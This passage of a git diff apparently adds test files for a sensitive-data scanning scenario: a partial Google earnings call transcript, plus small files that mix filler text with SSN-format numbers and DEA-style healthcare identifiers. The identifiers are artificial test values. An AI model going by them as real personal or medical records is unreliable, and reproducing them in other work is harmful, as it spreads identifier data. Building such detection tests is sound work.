than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. +: Thank you. +: Thank you, Peter. Jamie, our next question, please? +Operator +And we'll go next to Heather Bellini with Goldman Sachs. +: Great. Thank you. I had two questions. The first was a follow-up on Google Shopping +Express. I mean, just wondering, when you think about what Amazon is doing with same-day delivery, they're +obviously building these fulfillment centers themselves, which theoretically should give them scale over time. I'm +wondering if you could share with us how you see this evolving for Google over time. +And then a follow-up question would just be related to your comments about payments, and I'm just wondering how +critical is it for Google itself to solve the payment friction that you're seeing with kind of a ubiquitous digital wallet or +would you be fine with a third party doing so for the Android platform? +: Thank you, Heather. I'll take the first and then led Omid answer the second. Clearly, Google +Shopping Express, I mean, there is an issue of scale, and it's a combination of an issue of scale, tools and efficiency. I +mean, that's how you, if you think over time, end up with a product that you can deliver within kind of hours at the +right value and where you can make money. So it's not only about central. I mean, yes, for efficiency you need +centralization, you need a bunch of distribution tools that actually work. We're clearly focused on that as well. I mean, +it is part of the business case that we're building. But you need more than that, right? There's a lot of other elements as +well. So clearly, focused like our competitors would be. +And in our announcements today, again, right, kind of our – was it yesterday? Yesterday's announcements on Shopping +Express kind of tell you that we are investing both for the three new cities to kind of give you a hint of, yes, it's about +scale. So clearly we're focused on that. +: Yeah, and, Heather, on the Wallet question, I think again we're going to continue to be open +here. So we are trying to get it right and innovating on multiple fronts, as I mentioned earlier. And if partnering makes +sense, we'll take a look at it as well. So – and the goal is, here, really to provide this very seamless experience for the +users, and then get the merchant adoption and hopefully get this right. I'm certainly delighted every time I use this and +it works. And I think if we can all get the ecosystem right and there are multiple players in it and partnerships that are +making it happen, we're definitely open to that. +: Thank you, Heather. Let's go to our next question. +Operator +And we'll go next to Paul Vogel with Barclays. +: Yeah, great. Thank you very much. As Google Play has grown, I'm just wondering if you could talk +about the relationships with the carriers and how that's evolving over time. +: Yeah, I can answer that. So essentially, Google Play is doing great. And everybody wants to +kind of be part of this answer. And so for our carriers, I mean, they're really done on a one-by-one basis. So the real +question is, what's the win-win? And so they're all done individually. We have great, great partnerships with many +carriers that actually fuel this, including carrier billing. So all this actually is just a very, very positive ecosystem for us, +and so we're totally thrilled to have these partnerships. And we expect to continue to do so. +: Thanks. +: Thanks, Paul. Jamie, one more question? +Operator +And we'll take our final question from Brian Pitz with Jefferies. +: Great. Thanks for the questions. Two on video for Omid. You mentioned Google Preferred in +your comments. Any color on further expanding the upfront process with the ad agencies? Basically, do you anticipate +that upwards of 5% to 10% of your top inventory could actually be set aside for Preferred, longer-term? +And then just given the shift of off-line TV dollars to online, as you've mentioned, any comments on political, +specifically, or other new categories more aggressively moving onto YouTube? Thanks so much. +: Sure. Thank you, Brian. +So we secured upfront commitments from five top agencies, IPG, OMD, Digitas, Carat, SMG and some major brands +like General Motors and Coca-Cola, and we were actually very, very pleased with how Google Preferred was +experienced and adopted. So I think we're going to definitely continue working on this, and also if you look at our +history, we're very used to it, the selling model that was all about performance, and then as we added properties like +YouTube and brand and mobile, we're just getting, more and more now gaining a better understanding of how to work +in this upfront process, for example, to offer the marketers this incredible asset that we have in YouTube and our +network. +So we're going to just continue getting better on the products side, figure out how to package this inventory better and +then the tools that are needed. And then on the selling side, just get better at also working with the agencies and our +advertisers and marketers to get this type of selling right. +And on the political vertical, I think clients love to use our products as part of their campaigns for federal, local, state +campaigns, and it is a really great area for us. We have, actually, a political sales team that's focused on it, so I think +you'll see more of that effort from us. +: Great. Thanks. +: Thank you very much. +Patrick Pichette +Thanks, Brian. Jamie, that's all the time we have. So if you don't mind, I'd just like to close by reiterating what Omid +said a bit earlier. +This quarter was a great quarter with great momentum again, and I just wanted to thank all the great efforts of our +Googlers around the world who make us look good on this call because of their fantastic efforts. +So with that, Jamie, I'll let you close the call, and have a happy Q4, everyone. +Operator +Thank you. Again, that does conclude today's conference. We do appreciate everyone's participation. + Current Time : 2020.06.14-17.27.50 diff --git a/scenarios/scenario_5/infra/s3_files/Jun21_Fwd_Healthcare.txt b/scenarios/scenario_5/infra/s3_files/Jun21_Fwd_Healthcare.txt new file mode 100644 index 0000000..63dc93e --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/Jun21_Fwd_Healthcare.txt @@ -0,0 +1,3 @@ +test awesome 1 good health great awesome1 great 3 yes awesome 3 great test great 100 +Health care - DEA BB4053839 | BJ6125341 +Health care - DEA BB4053869 | BJ985341 Current Time : 2020.06.14-17.27.100 diff --git a/scenarios/scenario_5/infra/s3_files/Jun27_NewFwd_PII.txt b/scenarios/scenario_5/infra/s3_files/Jun27_NewFwd_PII.txt new file mode 100644 index 0000000..957123d --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/Jun27_NewFwd_PII.txt @@ -0,0 +1,5 @@ +Super Awesome SSN 3.3 good great test 098-07-3316 Current Time : 2020.03.11-17.27.50 + +APPLE BALL new awesome good awesomefds Great + +SSN 9998880000 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/May3_dataprofile.txt b/scenarios/scenario_5/infra/s3_files/May3_dataprofile.txt new file mode 100644 index 0000000..97113b6 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/May3_dataprofile.txt @@ -0,0 +1,3 @@ + ssn great testing awesome yes test happy thanks god 21 098-07-3316 Current Time : 2020.03.11-17.27.50 + +APPLE BALL Anitha Testing11 great awesome great stupendous wonderful 100 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline.txt.txt b/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline.txt.txt new file mode 100644 index 0000000..b87e715 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline.txt.txt @@ -0,0 +1,242 @@ + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Health care - DEA BB4053839 | BJ6125341 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most 